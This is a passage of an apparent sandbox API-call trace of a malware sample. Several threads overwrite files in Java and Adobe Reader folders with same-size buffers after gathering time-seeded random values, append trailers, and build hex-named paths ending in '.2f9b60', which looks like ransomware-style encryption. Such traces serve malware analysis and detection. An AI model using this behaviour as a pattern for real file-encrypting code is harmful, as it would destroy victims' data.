hFile=0x2acc, liDistanceToMove=0x175, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.301] ReadFile (in: hFile=0x2acc, lpBuffer=0x5b48fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x5b48fe08, lpOverlapped=0x0 | out: lpBuffer=0x5b48fdc0*, lpNumberOfBytesRead=0x5b48fe08*=0x4, lpOverlapped=0x0) returned 1 [0182.194] SetFilePointerEx (in: hFile=0x2acc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e450 [0182.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f450 [0182.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f480 [0182.195] NtQuerySystemTime (in: CurrentTime=0x5b48fd00 | out: CurrentTime=0x5b48fd00*=132462177873010000) returned 0x0 [0182.195] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x35b5fd8d [0182.195] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x6a6dc372 [0182.195] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x5df54e1f [0182.195] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x32eb6151 [0182.196] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x2c7f23b7 [0182.196] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x12d45f5b [0182.196] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x7f6eb824 [0182.196] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x11c04776 [0182.196] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x63ad3832 [0182.196] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x1de0cc69 [0182.196] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x1ade1adf [0182.196] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0xa67db7e [0182.196] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x5790b5c1 [0182.196] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x2da9a64b [0182.196] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x2a99b15f [0182.196] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x273b2440 [0182.196] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x537965cd [0182.196] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x3eeb66d3 [0182.196] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x64f038ee [0182.196] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x4524ec97 [0182.196] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x631699b4 [0182.196] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x2fbe7e87 [0182.196] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x3eb171ca [0182.196] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x6a76e425 [0182.196] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x67b31d92 [0182.196] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0xe7dd52d [0182.197] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x2c9c98e4 [0182.197] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x80e57ab [0182.197] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x94d44f2 [0182.197] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x1e8062d1 [0182.197] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x3084a5fb [0182.197] RtlRandomEx (in: Seed=0x5b48fcf0 | out: Seed=0x5b48fcf0) returned 0x3a3f51b [0182.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f4b0 [0182.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f4e0 [0182.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f480) returned 1 [0182.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e450) returned 1 [0182.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e450 [0182.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e450) returned 1 [0182.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20451ef0 [0182.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2043b690 [0182.213] ReadFile (in: hFile=0x2acc, lpBuffer=0x20451ef0, nNumberOfBytesToRead=0x179, lpNumberOfBytesRead=0x5b48fcf0, lpOverlapped=0x0 | out: lpBuffer=0x20451ef0*, lpNumberOfBytesRead=0x5b48fcf0*=0x179, lpOverlapped=0x0) returned 1 [0182.213] SetFilePointerEx (in: hFile=0x2acc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.213] WriteFile (in: hFile=0x2acc, lpBuffer=0x2043b690*, nNumberOfBytesToWrite=0x179, lpNumberOfBytesWritten=0x5b48fcf4, lpOverlapped=0x0 | out: lpBuffer=0x2043b690*, lpNumberOfBytesWritten=0x5b48fcf4*=0x179, lpOverlapped=0x0) returned 1 [0190.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a73d0 [0190.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7400 [0190.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7400) returned 1 [0190.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2043b690) returned 1 [0190.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20451ef0) returned 1 [0190.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0190.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0190.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7400 [0190.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0190.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0190.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a74c0 [0190.162] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a74c0) returned 1 [0190.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a74c0 [0190.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7430 [0190.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7e20 [0190.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7e20) returned 1 [0190.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0190.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0190.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x4315e2c0 [0190.164] SetFilePointerEx (in: hFile=0x2acc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0190.164] WriteFile (in: hFile=0x2acc, lpBuffer=0x4315e2c0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x5b48fe10, lpOverlapped=0x0 | out: lpBuffer=0x4315e2c0*, lpNumberOfBytesWritten=0x5b48fe10*=0x104, lpOverlapped=0x0) returned 1 [0201.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85dd10 [0201.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4910 [0201.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4910) returned 1 [0201.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x431f8740 [0201.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4910 [0201.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a48e0 [0201.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a48e0) returned 1 [0201.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85dd10) returned 1 [0201.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x423a48e0 [0201.705] sprintf (in: _Dest=0x423a48e0, _Format="%c%c" | out: _Dest="65") returned 2 [0201.706] sprintf (in: _Dest=0x423a48e2, _Format="%c%c" | out: _Dest="e1") returned 2 [0201.706] sprintf (in: _Dest=0x423a48e4, _Format="%c%c" | out: _Dest="48") returned 2 [0201.706] sprintf (in: _Dest=0x423a48e6, _Format="%c%c" | out: _Dest="a5") returned 2 [0201.706] sprintf (in: _Dest=0x423a48e8, _Format="%c%c" | out: _Dest="af") returned 2 [0201.706] sprintf (in: _Dest=0x423a48ea, _Format="%c%c" | out: _Dest="35") returned 2 [0201.706] sprintf (in: _Dest=0x423a48ec, _Format="%c%c" | out: _Dest="86") returned 2 [0201.706] sprintf (in: _Dest=0x423a48ee, _Format="%c%c" | out: _Dest="0f") returned 2 [0201.706] sprintf (in: _Dest=0x423a48f0, _Format="%c%c" | out: _Dest="f1") returned 2 [0201.706] sprintf (in: _Dest=0x423a48f2, _Format="%c%c" | out: _Dest="ab") returned 2 [0201.706] sprintf (in: _Dest=0x423a48f4, _Format="%c%c" | out: _Dest="7b") returned 2 [0201.706] sprintf (in: _Dest=0x423a48f6, _Format="%c%c" | out: _Dest="c7") returned 2 [0201.706] sprintf (in: _Dest=0x423a48f8, _Format="%c%c" | out: _Dest="2e") returned 2 [0201.706] sprintf (in: _Dest=0x423a48fa, _Format="%c%c" | out: _Dest="e1") returned 2 [0201.706] sprintf (in: _Dest=0x423a48fc, _Format="%c%c" | out: _Dest="45") returned 2 [0201.706] sprintf (in: _Dest=0x423a48fe, _Format="%c%c" | out: _Dest="a5") returned 2 [0201.706] sprintf (in: _Dest=0x423a4900, _Format="%c%c" | out: _Dest="c4") returned 2 [0201.706] sprintf (in: _Dest=0x423a4902, _Format="%c%c" | out: _Dest="91") returned 2 [0201.706] RtlInitAnsiString (in: DestinationString=0x5b48fe88, SourceString="65e148a5af35860ff1ab7bc72ee145a5c491" | out: DestinationString="65e148a5af35860ff1ab7bc72ee145a5c491") [0201.706] RtlAnsiStringToUnicodeString (in: DestinationString=0x5b48fe58, SourceString="65e148a5af35860ff1ab7bc72ee145a5c491", AllocateDestinationString=1 | out: DestinationString="65e148a5af35860ff1ab7bc72ee145a5c491") returned 0x0 [0201.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9c1f0 [0201.707] wcscat (in: _Dest=0x43107bf0, _Source="65e148a5a" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\65e148a5a") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\65e148a5a" [0201.707] wcscat (in: _Dest=0x43107bf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\65e148a5a.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\65e148a5a.2f9b60" [0201.707] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\65e148a5a.2f9b60", NtPathName=0x5b48fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\65e148a5a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431a7a60 Thread: id = 3459 os_tid = 0x1bd0 [0172.889] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\El_Salvador" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\el_salvador")) returned 0x20 [0172.894] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\El_Salvador", dwFileAttributes=0x20) returned 1 [0183.801] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\El_Salvador" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\el_salvador"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x29a0 [0191.277] GetFileSizeEx (in: hFile=0x29a0, lpFileSize=0x45a5fcc0 | out: lpFileSize=0x45a5fcc0*=105) returned 1 [0191.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcaa0 [0191.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139a30 [0191.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139ac0 [0191.280] NtQuerySystemTime (in: CurrentTime=0x45a5fb80 | out: CurrentTime=0x45a5fb80*=132462177963802000) returned 0x0 [0191.280] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x71c699a7 [0191.280] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x3a6dc190 [0191.280] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x163a1447 [0191.280] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x45786734 [0191.280] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x218cedfc [0191.280] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x18f51e13 [0191.280] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x551b789d [0191.280] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x68677d7d [0191.280] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x1d88be12 [0191.280] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x583b9ec6 [0191.280] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0xb50d974 [0191.280] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x4110eea0 [0191.280] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x194d154c [0191.280] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x3adcfcf2 [0191.280] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x37732d5e [0191.280] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x6db2d27e [0191.280] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x226cb089 [0191.280] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x2a6237c7 [0191.280] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x2cd5a8ba [0191.280] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x2bd3c4bc [0191.280] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x50d55e7d [0191.280] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x7915734 [0191.281] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x62cefaa5 [0191.281] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x8f26cba [0191.281] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x6ccf387a [0191.281] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x229c532f [0191.281] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x5468443f [0191.281] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x7d60fc88 [0191.281] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x4dd94bcf [0191.281] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x120c44ee [0191.281] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x780452b5 [0191.281] RtlRandomEx (in: Seed=0x45a5fb70 | out: Seed=0x45a5fb70) returned 0x387441de [0191.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139af0 [0191.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0191.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139b20 [0191.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0191.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139ac0) returned 1 [0191.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcaa0) returned 1 [0191.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c6c0 [0191.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0191.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcaa0 [0191.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcaa0) returned 1 [0191.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42fec580 [0191.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42ff0190 [0191.295] ReadFile (in: hFile=0x29a0, lpBuffer=0x42fec580, nNumberOfBytesToRead=0x69, lpNumberOfBytesRead=0x45a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x42fec580*, lpNumberOfBytesRead=0x45a5fb70*=0x69, lpOverlapped=0x0) returned 1 [0191.297] SetFilePointerEx (in: hFile=0x29a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.297] WriteFile (in: hFile=0x29a0, lpBuffer=0x42ff0190*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x45a5fb74, lpOverlapped=0x0 | out: lpBuffer=0x42ff0190*, lpNumberOfBytesWritten=0x45a5fb74*=0x69, lpOverlapped=0x0) returned 1 [0199.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30b90 [0199.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30f50 [0199.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d30f50) returned 1 [0199.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ff0190) returned 1 [0199.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42fec580) returned 1 [0199.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0199.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c6c0) returned 1 [0199.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42d30f50 [0199.925] SetFilePointerEx (in: hFile=0x29a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0199.925] WriteFile (in: hFile=0x29a0, lpBuffer=0x43128830*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x45a5fc90, lpOverlapped=0x0 | out: lpBuffer=0x43128830*, lpNumberOfBytesWritten=0x45a5fc90*=0x108, lpOverlapped=0x0) returned 1 [0206.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0206.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb0e0 [0206.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff8d0 [0206.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff8d0) returned 1 [0206.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x42c0eae0 [0206.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff8d0 [0206.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff8a0 [0206.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff8a0) returned 1 [0206.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb0e0) returned 1 [0206.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0206.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9fb70 [0206.697] sprintf (in: _Dest=0x1cd9fb70, _Format="%c%c" | out: _Dest="5d") returned 2 [0206.697] sprintf (in: _Dest=0x1cd9fb72, _Format="%c%c" | out: _Dest="03") returned 2 [0206.697] sprintf (in: _Dest=0x1cd9fb74, _Format="%c%c" | out: _Dest="19") returned 2 [0206.697] sprintf (in: _Dest=0x1cd9fb76, _Format="%c%c" | out: _Dest="a6") returned 2 [0206.697] sprintf (in: _Dest=0x1cd9fb78, _Format="%c%c" | out: _Dest="43") returned 2 [0206.697] sprintf (in: _Dest=0x1cd9fb7a, _Format="%c%c" | out: _Dest="88") returned 2 [0206.697] sprintf (in: _Dest=0x1cd9fb7c, _Format="%c%c" | out: _Dest="49") returned 2 [0206.697] sprintf (in: _Dest=0x1cd9fb7e, _Format="%c%c" | out: _Dest="92") returned 2 [0206.697] sprintf (in: _Dest=0x1cd9fb80, _Format="%c%c" | out: _Dest="4d") returned 2 [0206.697] sprintf (in: _Dest=0x1cd9fb82, _Format="%c%c" | out: _Dest="0d") returned 2 [0206.697] sprintf (in: _Dest=0x1cd9fb84, _Format="%c%c" | out: _Dest="5c") returned 2 [0206.697] sprintf (in: _Dest=0x1cd9fb86, _Format="%c%c" | out: _Dest="7e") returned 2 [0206.697] sprintf (in: _Dest=0x1cd9fb88, _Format="%c%c" | out: _Dest="88") returned 2 [0206.697] sprintf (in: _Dest=0x1cd9fb8a, _Format="%c%c" | out: _Dest="6d") returned 2 [0206.697] sprintf (in: _Dest=0x1cd9fb8c, _Format="%c%c" | out: _Dest="d0") returned 2 [0206.697] sprintf (in: _Dest=0x1cd9fb8e, _Format="%c%c" | out: _Dest="e7") returned 2 [0206.697] sprintf (in: _Dest=0x1cd9fb90, _Format="%c%c" | out: _Dest="f6") returned 2 [0206.697] sprintf (in: _Dest=0x1cd9fb92, _Format="%c%c" | out: _Dest="78") returned 2 [0206.698] sprintf (in: _Dest=0x1cd9fb94, _Format="%c%c" | out: _Dest="67") returned 2 [0206.698] sprintf (in: _Dest=0x1cd9fb96, _Format="%c%c" | out: _Dest="4a") returned 2 [0206.698] sprintf (in: _Dest=0x1cd9fb98, _Format="%c%c" | out: _Dest="be") returned 2 [0206.698] sprintf (in: _Dest=0x1cd9fb9a, _Format="%c%c" | out: _Dest="6e") returned 2 [0206.698] RtlInitAnsiString (in: DestinationString=0x45a5fd08, SourceString="5d0319a6438849924d0d5c7e886dd0e7f678674abe6e" | out: DestinationString="5d0319a6438849924d0d5c7e886dd0e7f678674abe6e") [0206.698] RtlAnsiStringToUnicodeString (in: DestinationString=0x45a5fcd8, SourceString="5d0319a6438849924d0d5c7e886dd0e7f678674abe6e", AllocateDestinationString=1 | out: DestinationString="5d0319a6438849924d0d5c7e886dd0e7f678674abe6e") returned 0x0 [0206.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1cddf210 [0206.698] wcscat (in: _Dest=0x43155770, _Source="5d0319a6438" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\5d0319a6438") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\5d0319a6438" [0206.698] wcscat (in: _Dest=0x43155770, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\5d0319a6438.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\5d0319a6438.2f9b60" [0206.698] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\5d0319a6438.2f9b60", NtPathName=0x45a5fcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\5d0319a6438.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x4314e880 Thread: id = 3463 os_tid = 0x1a80 [0175.657] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeFanHeitiStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobefanheitistd-bold.otf")) returned 0x20 [0175.658] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeFanHeitiStd-Bold.otf", dwFileAttributes=0x20) returned 1 [0183.835] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeFanHeitiStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobefanheitistd-bold.otf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x4f0 [0183.836] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x45d0fb40 | out: lpFileSize=0x45d0fb40*=5497908) returned 1 [0183.836] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x53e430, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.836] ReadFile (in: hFile=0x4f0, lpBuffer=0x45d0fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x45d0fb08, lpOverlapped=0x0 | out: lpBuffer=0x45d0fac0*, lpNumberOfBytesRead=0x45d0fb08*=0x4, lpOverlapped=0x0) returned 1 [0183.886] SetFilePointerEx (in: 